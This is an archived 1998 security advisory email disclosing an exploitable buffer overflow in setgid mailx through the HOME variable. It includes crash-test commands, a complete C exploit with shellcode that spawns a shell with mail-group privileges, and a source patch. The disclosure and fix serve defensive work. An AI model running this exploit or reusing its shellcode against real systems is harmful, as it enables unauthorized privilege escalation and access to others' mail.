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[ http://www.rootshell.com/ ] Date: Thu, 25 Jun 1998 06:19:29 +0200 From: Alvaro Martinez Echevarria <alvaro@LANDER.ES> Subject: security hole in mailx Hi there. I've discovered a rather serious security hole in mailx, the good old Berkeley mail program. It's somehow present at least in the last versions I've checked (mailx-8.1.1 in Linux, mailx 5.0 in Solaris). The bug is an exploitable buffer overflow (using the HOME environment variable) that allows any local user to acquire the privileges under which the program runs, usually group "mail" (on many of the modern versions I've seen, mailx is setgid "mail"). So the bug allows you to get "mail" group privileges, and this means that at least you can play with other people's mail. Although this wouldn't be very nice from you, this shouldn't be a big problem for the integrity of the system. But there could be a much more serious implication: being able to write in /var/spool/mail is usually an open door to the root account, for example by using races and such in mail delivery programs. You can check if your particular version of mailx is vulnerable through these steps: $ cp `which mailx` ./mailx $ HOME=`perl -e 'print "A"x10000'` ./mailx Segmentation fault (core dumped) $ gdb ./mailx core GNU gdb 4.17 [...] #0 0x41414141 in ?? () Here we go. By the way, although in Linux 2000 "A"s are enough, in Solaris you'll need more (10000 worked for me). I've verified that Debian GNU/Linux (package mailx-8.1.1-9 and previous) is vulnerable. Solaris 5.5.1 and 5.6 (mailx 5.0) also seem vulnerable after a couple of quick tests, but I haven't been able to check the return address due to lack of a root access to any Solaris, so I'm not 100% sure. Redhat Linux mailx has the bug, but as they don't install it setgid mail there's no direct danger. About the bug: it is in "fio.c", in the "xname" variable of the "expand" function: char xname[PATHSIZE]; [...] sprintf(xname, "%s%s", homedir, name + 1); Two attachments are included in this message: -A patch against mailx-8.1.1 that solves the problem. There are a lot of buffer overflows in the sources of mailx, although only the one I mention seems to be exploitable. The patch is dirty and simple: replace sprintf and strcpy by snprintf and strncpy almost everywhere. I haven't tested it a lot, use it at your own risk. -An exploit that should work under Linux (at least it does so in Debian). To test: compile it, execute it, and it should give you a shell; check with "id" if you are group "mail". By the way, the program assumes the gid for group mail is 8, as in Debian. Please, use it _JUST_ for testing and educative purposes ;) I reported the problem a few days ago to Debian, Redhat, Sun, and CERT, and I also sent them the patches. So the new versions should be on the way or even already released, at least for the Linux distributions. BTW, the person who tested the bug under Solaris (I don't have direct access to any Solaris machine) told me that he had a hard time: tcsh$ setenv HOME `perl -e 'print "A"x10000'` connection lost !!! Seems like tcsh doesn't like huge homes like this. Second try: tsch$ exec sh sh$ HOME=`perl -e 'print "A"x10000'` sh$ which mailx Segmentation Fault (core dumped) Erm... Seems like Sun is doing a great job with buffer overflows. This happened under 5.5.1. I wonder if these have any security implication. Anyway, they are not bad as a joke. Regards. -- Alvaro Martínez Echevarría LANDER SISTEMAS Pº Castellana, 121 28046 Madrid, SPAIN The exploit : /* * mailxploit.c (Linux/i386) [ http://www.rootshell.com/ ] * Sat Jun 20 00:47:59 CEST 1998 * Alvaro Martinez Echevarria <elguru@lander.es> * Exploit a buffer overrun in mailx using the environment variable * $HOME, to acquire "mail" group privileges (assuming that mailx * is installed setgid mail). */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> /* * The location of mailx. */ #define MAILX "/usr/bin/mail" /* * The gid for group mail (represented in a char, in hexadecimal). */ #define GID "\x08" #define DEFAULT_OFFSET 2000 #define DEFAULT_BUFFER_SIZE 1124 #define NOP 0x90 char shellcode[] = /* seteuid(GID); setreuid(GID,GID); */ "\x31\xdb\x31\xc9\xbb\xff\xff\xff\xff\xb1" GID "\x31\xc0\xb0\x47\xcd\x80" "\x31\xdb\x31\xc9\xb3" GID "\xb1" GID "\x31\xc0\xb0\x47\xcd\x80" /* generic shell code by Aleph One */ "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } int main(int argc, char *argv[]) { char *buff, *ptr; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i; addr = get_sp() - offset; if ((buff=(char *)malloc(bsize))==NULL) { fprintf(stderr,"error in malloc()\n"); exit(1); } ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; for (i = 0; i < bsize/2; i++) buff[i] = NOP; ptr = buff + ((bsize/2) - (strlen(shellcode)/2)); for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - 1] = '\0'; setenv("HOME",buff,1); execl(MAILX,MAILX,"-n","-f","~/patata",NULL); exit(0); } The patch : diff -ru mailx-8.1.1.orig/aux.c mailx-8.1.1/aux.c --- mailx-8.1.1.orig/aux.c Fri Jun 14 10:26:55 1996 +++ mailx-8.1.1/aux.c Sat Jun 20 04:48:36 1998 @@ -280,16 +280,21 @@ * Copy a string, lowercasing it as we go. */ void -istrcpy(dest, src) +istrcpy(dest, src, size) register char *dest, *src; + int size; { + register char *max; - do { - if (isupper(*src)) + max=dest+size-1; + while (dest<=max && *src!='\0') { + if (isupper(*src)) { *dest++ = tolower(*src); - else + } else { *dest++ = *src; - } while (*src++ != 0); + } + src++; + } } /* @@ -606,10 +611,13 @@ break; cp++; if (first) { - strcpy(namebuf, cp); + strncpy(namebuf, cp, LINESIZE); first = 0; - } else - strcpy(rindex(namebuf, '!')+1, cp); + } else { + cp2=rindex(namebuf, '!')+1; + strncpy(cp2, cp, (namebuf+LINESIZE)-cp2); + } + namebuf[LINESIZE-2]='\0'; strcat(namebuf, "!"); goto newname; } @@ -691,7 +699,8 @@ * Lower-case the string, so that "Status" and "status" * will hash to the same place. */ - istrcpy(realfld, field); + istrcpy(realfld, field, BUFSIZ); + realfld[BUFSIZ-1]='\0'; if (ignore[1].i_count > 0) return (!member(realfld, ignore + 1)); else diff -ru mailx-8.1.1.orig/cmd1.c mailx-8.1.1/cmd1.c --- mailx-8.1.1.orig/cmd1.c Fri Jun 14 10:26:56 1996 +++ mailx-8.1.1/cmd1.c Sat Jun 20 04:07:39 1998 @@ -465,7 +465,7 @@ char dirname[BUFSIZ]; char *cmd; - if (getfold(dirname) < 0) { + if (getfold(dirname, BUFSIZ) < 0) { printf("No value set for \"folder\"\n"); return 1; } diff -ru mailx-8.1.1.orig/cmd2.c mailx-8.1.1/cmd2.c --- mailx-8.1.1.orig/cmd2.c Fri Jun 14 10:26:56 1996 +++ mailx-8.1.1/cmd2.c Sat Jun 20 04:49:54 1998 @@ -496,7 +496,8 @@ if (*list == NOSTR) return igshow(tab, which); for (ap = list; *ap != 0; ap++) { - istrcpy(field, *ap); + istrcpy(field, *ap, BUFSIZ); + field[BUFSIZ-1]='\0'; if (member(field, tab)) continue; h = hash(field); diff -ru mailx-8.1.1.orig/cmd3.c mailx-8.1.1/cmd3.c --- mailx-8.1.1.orig/cmd3.c Fri Jun 14 10:26:57 1996 +++ mailx-8.1.1/cmd3.c Sat Jun 20 04:41:37 1998 @@ -65,8 +65,9 @@ char *shell; char cmd[BUFSIZ]; - (void) strcpy(cmd, str); - if (bangexp(cmd) < 0) + (void) strncpy(cmd, str, BUFSIZ); + cmd[BUFSIZ-1]='\0'; + if (bangexp(cmd, BUFSIZ) < 0) return 1; if ((shell = value("SHELL")) == NOSTR) shell = _PATH_CSHELL; @@ -103,8 +104,9 @@ char lastbang[128]; int -bangexp(str) +bangexp(str, size) char *str; + int size; { char bangbuf[BUFSIZ]; register char *cp, *cp2; @@ -144,7 +146,8 @@ printf("!%s\n", bangbuf); fflush(stdout); } - strcpy(str, bangbuf); + strncpy(str, bangbuf, size); + str[size-1]='\0'; strncpy(lastbang, bangbuf, 128); lastbang[127] = 0; return(0); diff -ru mailx-8.1.1.orig/collect.c mailx-8.1.1/collect.c --- mailx-8.1.1.orig/collect.c Fri Jun 14 10:26:58 1996 +++ mailx-8.1.1/collect.c Sat Jun 20 04:52:40 1998 @@ -268,7 +268,8 @@ hp->h_bcc = cat(hp->h_bcc, extract(&linebuf[2], GBCC)); break; case 'd': - strcpy(linebuf + 2, getdeadletter()); + strncpy(linebuf + 2, getdeadletter(), LINESIZE - 2); + linebuf[LINESIZE-1]='\0'; /* fall into . . . */ case 'r': case '<': Only in mailx-8.1.1: collect.c.orig diff -ru mailx-8.1.1.orig/extern.h mailx-8.1.1/extern.h --- mailx-8.1.1.orig/extern.h Fri Jun 14 10:26:59 1996 +++ mailx-8.1.1/extern.h Sat Jun 20 04:52:40 1998 @@ -94,7 +94,7 @@ int append __P((struct message *, FILE *)); int argcount __P((char **)); void assign __P((char [], char [])); -int bangexp __P((char *)); +int bangexp __P((char *, int)); int blankline __P((char [])); void brokpipe __P((int)); int charcount __P((char *, int)); @@ -130,7 +130,7 @@ int file __P((void *)); struct grouphead * findgroup __P((char [])); -void findmail __P((char *, char *)); +void findmail __P((char *, char *, int)); int first __P((int, int)); void fixhead __P((struct header *, struct name *)); void fmt __P((char *, struct name *, FILE *, int)); @@ -139,7 +139,7 @@ void free_child __P((int)); int from __P((void *)); off_t fsize __P((FILE *)); -int getfold __P((char *)); +int getfold __P((char *, int)); int gethfield __P((FILE *, char [], int, char **)); int getmsglist __P((char *, int *, int)); int getrawlist __P((char [], char **, int)); @@ -164,7 +164,7 @@ int ishead __P((char [])); int isign __P((char *, struct ignoretab [])); int isprefix __P((char *, char *)); -void istrcpy __P((char *, char *)); +void istrcpy __P((char *, char *, int)); const struct cmd * lex __P((char [])); void load __P((char *)); diff -ru mailx-8.1.1.orig/fio.c mailx-8.1.1/fio.c --- mailx-8.1.1.orig/fio.c Fri Jun 14 10:27:00 1996 +++ mailx-8.1.1/fio.c Sat Jun 20 04:52:40 1998 @@ -74,7 +74,7 @@ char linebuf[LINESIZE]; /* Get temporary file. */ - (void)sprintf(linebuf, "%s/mail.XXXXXX", tmpdir); + (void)snprintf(linebuf,LINESIZE,"%s/mail.XXXXXX", tmpdir); if ((c = mkstemp(linebuf)) == -1 || (mestmp = Fdopen(c, "r+")) == NULL) { (void)fprintf(stderr, "mail: can't open %s\n", linebuf); @@ -336,7 +336,7 @@ */ switch (*name) { case '%': - findmail(name[1] ? name + 1 : myname, xname); + findmail(name[1] ? name + 1 : myname, xname, PATHSIZE); return savestr(xname); case '#': if (name[1] != 0) @@ -351,13 +351,13 @@ name = "~/mbox"; /* fall through */ } - if (name[0] == '+' && getfold(cmdbuf) >= 0) { - sprintf(xname, "%s/%s", cmdbuf, name + 1); + if (name[0] == '+' && getfold(cmdbuf, PATHSIZE) >= 0) { + snprintf(xname, PATHSIZE, "%s/%s", cmdbuf, name + 1); name = savestr(xname); } /* catch the most common shell meta character */ if (name[0] == '~' && (name[1] == '/' || name[1] == '\0')) { - sprintf(xname, "%s%s", homedir, name + 1); + snprintf(xname, PATHSIZE, "%s%s", homedir, name + 1); name = savestr(xname); } if (!anyof(name, "~{[*?$`'\"\\")) @@ -366,7 +366,7 @@ perror("pipe"); return name; } - sprintf(cmdbuf, "echo %s", name); + snprintf(cmdbuf, PATHSIZE, "echo %s", name); if ((shell = value("SHELL")) == NOSTR) shell = _PATH_CSHELL; pid = start_command(shell, 0, -1, pivec[1], "-c", cmdbuf, NOSTR); @@ -409,17 +409,20 @@ * Determine the current folder directory name. */ int -getfold(name) +getfold(name, size) char *name; + int size; { char *folder; if ((folder = value("folder")) == NOSTR) return (-1); - if (*folder == '/') - strcpy(name, folder); - else - sprintf(name, "%s/%s", homedir, folder); + if (*folder == '/') { + strncpy(name, folder, size); + name[size]='\0'; + } else { + snprintf(name, size, "%s/%s", homedir, folder); + } return (0); } @@ -436,7 +439,7 @@ else if (*cp != '/') { char buf[PATHSIZE]; - (void) sprintf(buf, "~/%s", cp); + (void) snprintf(buf, PATHSIZE, "~/%s", cp); cp = expand(buf); } return cp; diff -ru mailx-8.1.1.orig/lex.c mailx-8.1.1/lex.c --- mailx-8.1.1.orig/lex.c Fri Jun 14 10:27:03 1996 +++ mailx-8.1.1/lex.c Sat Jun 20 04:52:40 1998 @@ -134,9 +134,12 @@ } shudclob = 1; edit = isedit; - strcpy(prevfile, mailname); - if (name != mailname) - strcpy(mailname, name); + strncpy(prevfile, mailname, PATHSIZE); + prevfile[PATHSIZE-1]='\0'; + if (name != mailname) { + strncpy(mailname, name, PATHSIZE); + mailname[PATHSIZE-1]='\0'; + } mailsize = fsize(ibuf); if ((otf = fopen(tempMesg, "w")) == NULL) { perror(tempMesg); @@ -616,10 +619,10 @@ s++; } ename = mailname; - if (getfold(fname) >= 0) { + if (getfold(fname, BUFSIZ-1) >= 0) { strcat(fname, "/"); if (strncmp(fname, mailname, strlen(fname)) == 0) { - sprintf(zname, "+%s", mailname + strlen(fname)); + snprintf(zname, BUFSIZ, "+%s", mailname + strlen(fname)); ename = zname; } } Only in mailx-8.1.1: lex.c.orig diff -ru mailx-8.1.1.orig/list.c mailx-8.1.1/list.c --- mailx-8.1.1.orig/list.c Fri Jun 14 10:27:03 1996 +++ mailx-8.1.1/list.c Sat Jun 20 04:34:40 1998 @@ -515,7 +515,8 @@ int quotec; if (regretp >= 0) { - strcpy(lexstring, string_stack[regretp]); + strncpy(lexstring, string_stack[regretp], STRINGLEN); + lexstring[STRINGLEN-1]='\0'; lexnumber = numberstack[regretp]; return(regretstack[regretp--]); } @@ -695,10 +696,12 @@ register char *cp, *cp2, *backup; str++; - if (strlen(str) == 0) + if (strlen(str) == 0) { str = lastscan; - else - strcpy(lastscan, str); + } else { + strncpy(lastscan, str, 128); + lastscan[127]='\0'; + } mp = &message[mesg-1]; /* diff -ru mailx-8.1.1.orig/main.c mailx-8.1.1/main.c --- mailx-8.1.1.orig/main.c Fri Jun 14 10:27:05 1996 +++ mailx-8.1.1/main.c Sat Jun 20 04:59:18 1998 @@ -48,6 +48,12 @@ #endif #endif /* not lint */ +/* + * Most strcpy/sprintf functions have been changed to strncpy/snprintf to + * correct several buffer overruns (at least one ot them was exploitable). + * Sat Jun 20 04:58:09 CEST 1998 Alvaro Martinez Echevarria <alvaro@lander.es> + */ + #include "rcv.h" #include <fcntl.h> #include <sys/ioctl.h> diff -ru mailx-8.1.1.orig/v7.local.c mailx-8.1.1/v7.local.c --- mailx-8.1.1.orig/v7.local.c Fri Jun 14 10:27:09 1996 +++ mailx-8.1.1/v7.local.c Sat Jun 20 04:34:57 1998 @@ -60,15 +60,19 @@ * mail is queued). */ void -findmail(user, buf) +findmail(user, buf, size) char *user, *buf; + int size; { char *mbox; - if (!(mbox = getenv("MAIL"))) - (void)sprintf(buf, "%s/%s", _PATH_MAILDIR, user); - else - (void)strcpy(buf, mbox); + if (!(mbox = getenv("MAIL"))) { + (void)snprintf(buf, size, "%s/%s", _PATH_MAILDIR, user); + } else { + (void)strncpy(buf, mbox, size); + buf[size-1]='\0'; + } + } /*